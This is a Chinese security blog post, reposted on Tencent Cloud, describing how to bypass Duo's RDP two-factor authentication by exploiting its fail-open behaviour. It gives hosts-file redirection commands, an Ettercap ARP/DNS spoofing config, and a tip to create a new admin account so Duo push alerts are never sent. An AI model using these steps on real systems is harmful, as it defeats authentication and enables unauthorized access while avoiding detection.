前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Duo RDP双因素身份验证防护绕过

Duo RDP双因素身份验证防护绕过

作者头像
安全小王子
发布2020-07-31 17:25:56
3.5K0
发布2020-07-31 17:25:56
举报
文章被收录于专栏:betasecbetasec

本文作者:3had0w(贝塔安全实验室-核心成员)

0x01 简介

Duo与Microsoft Windows客户端和服务器操作系统集成,可以为远程桌面和本地登录添加2FA双因素身份验证,在国内注册时可能会出现Google reCAPTCHA人机验证显示不出来的情况。至于如何安装和配置2FA双因素身份验证就不详细介绍了,请移步官网:https://duo.com/docs/rdp

原文地址:https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/

0x02 工作原理

1) RDP连接或控制台登录已启动
2) 主要身份验证
3) 通过TCP端口443与Duo Security建立的Duo Windows登录凭据提供程序连接
4) 通过Duo Security的服务进行二级认证
5) Duo Windows登录凭据提供程序接收身份验证响应
6) 登录RDP或控制台会话

症状-1:

The username you have entered is not enrolled with Duo Security. Please contact your system administrator.(您输入的用户名没有在Duo Security注册)。

症状-2:

Access Denied. The username you have entered cannot authenticate with Duo Security. Please contact your system administrator.(拒绝访问,您输入的用户名无法通过Duo Security进行身份验证)。

症状-3:

Your two-factor account is disabled. Contact an administrator for assistance.(您的双因素帐户已停用,您输入的用户名在Duo Security被删除到回收站)。

0x03 验证方式

Duo双因素身份验证方式有:Duo Push(手机端推送)、Call Me(打给我)、Passcode(密码代码,如下图中的:*** 437)。手机端Duo Mobile应用中的DUO-PROTECTED(RDP保护)、DUO ADMIN(Duo仪表板保护)。

注:Duo Security保护的用户名或用户名别名在多次登录失败后可能会出现此提示:Your account has been locked out due to excessive authentication failures(已被锁定,该用户超过了自动锁定阈值),得在Duo仪表板里Require two-factor authentication(default)选项重新激活。

0x04 解决方案

(1) Shell命令行绕过

利用目标机器的Shell命令行绕过,ipconfig /displaydns命令找出Duo API DNS缓存记录(每个用户都会得到一个不一样的API hostname)。为了防止系统具有过多的DNS缓存并且显示速度太慢,这时可以将命令执行结果写入到文件中:ipconfig /displaydns > C:\ProgramData\dns.txt。

然后编辑目标机器的hosts文件,将刚刚找到的Duo API DNS缓存记录解析到本地127.0.0.1,依次执行以下命令。也可以用Metasploit下的post/windows/manage/inject_host模块、Meterpreter的edit命令和hostsedit脚本。

C:\Windows\system32> copy .\drivers\etc\hosts .\drivers\etc\hosts.bak
C:\Windows\system32> echo 127.0.0.1 api-2e****9c.duosecurity.com >> .\drivers\etc\hosts
C:\Windows\system32> type .\drivers\etc\hosts

注:如果执行ipconfig /displaydns命令没有找到Duo API DNS缓存记录,这时可以尝试新建一个管理员账户密码,然后用Microsoft RDP登录,再执行ipconfig /displaydns命令时就能看到Duo API DNS缓存记录了。千万不要使用目标机器上已有的管理员账户登录,因为它们可能已在Duo Security注册并保护,如果用已有的管理员账户进行登录就会向手机端Duo Mobile应用发送推送信息。

(2) ARP+DNS欺骗绕过

利用Ettercap、Bettercap等工具的ARP+DNS欺骗功能进行绕过,编辑/etc/ettercap/etter.dns文件,将Duo API hostname解析到本地127.0.0.1,“*”星号代表所有的意思。

[...SNIP...]
################################
# microsoft sucks ;)
# redirect it to www.linux.org

microsoft.com      A   107.170.40.56
*.microsoft.com    A   107.170.40.56
www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed

*.duosecurity.com       A   127.0.0.1
[...SNIP...]

Ettercap ARP+DNS欺骗配置:

1) ettercap -G -> Sniff -> Unified sniffing(Ctrl+U)-> eth0
2) Hosts -> Scan for hosts(Ctrl+S)-> Hosts list(Ctrl+H)-> 192.168.1.1 ->Add to Target 1 -> 192.168.1.112 -> Add to Target 2
3) Plugins -> Manage the plugins(Ctrl+P)-> dns_spoof(双击)-> Mitm -> ARP poisoning -> Sniff remote connections(勾选)-> Start -> Start sniffing

注:如果停止ARP、DNS欺骗并关掉Ettercap软件以后DNS解析记录仍然是127.0.0.1,这时只需在受害者机器上执行“ipconfig /flushdns”命令刷新一下DNS解析缓存就好了。另外ARP、DNS欺骗这类攻击方式动静都比较大,不是迫不得已的情况下并不建议使用。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档